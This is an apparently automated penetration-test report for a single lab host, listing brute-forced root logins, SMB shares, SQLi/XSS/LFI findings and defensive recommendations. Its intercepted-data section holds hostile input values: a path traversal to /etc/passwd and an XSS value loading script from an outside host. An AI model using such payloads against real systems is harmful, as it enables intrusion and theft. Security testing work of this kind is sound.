PROJECT BERSERKER - FINAL REPORT

1. General Information

Scan ID: berserker-20250524-154353

Start Time: 2025-05-24T15:35:30.214143

End Time: 2025-05-24T15:43:55.757666

Executed Modules: brute_force, smb_enum, web_attack, mitm

Hosts Attacked: 1

2. Summary Table

Brute-force Attacks	SMB Shares	Web Vulnerabilities	MITM Interception
of Successful Logins	of Shared Resources	of Vulnerabilities Found	of Intercepted Requests
3	1	3	2

3. Risk Ranking Summary

- 192.168.1.100 -> HIGH (Score: 1.0)

4. Detailed Findings Per Host

Host: 192.168.1.100 | Risk: HIGH (1.0)

Brute-force Attacks: 3 findings

- Brute-force on FTP: root / 123456789
- Brute-force on SSH: root / 123456789
- Brute-force on SMB: root / 123456789

SMB Shares: 1 findings

- SMB Shares: ADMIN$, C$, IPC$, Public, testshare

Web Vulnerabilities: 3 findings

- SQLI (POST) at http://192.168.1.100:80/login_check/index.php
- XSS (POST) at http://192.168.1.100:80/login_check/index.php
- LFI (POST) at http://192.168.1.100:80/login_check/index.php

MITM Interception: 2 requests

* Intercepted Data:
    - uname: test
    - pass: test
* Intercepted Data:
    - urname: John Smith

- ucc: 123456787654321
- uemail: /../../../../../../../../../../etc/passwd
- uphone: 2323345
- uaddress: "><script src: "https://js.rip/pznw6clllm"></script>
- update: update

5. Recommendations

- Apply account lockout and rate-limiting to prevent brute-force attacks.
- Disable or restrict anonymous SMB shares.
- Sanitize web inputs to prevent SQLi, XSS, and LFI vulnerabilities.
- Enforce HTTPS to protect credentials from interception.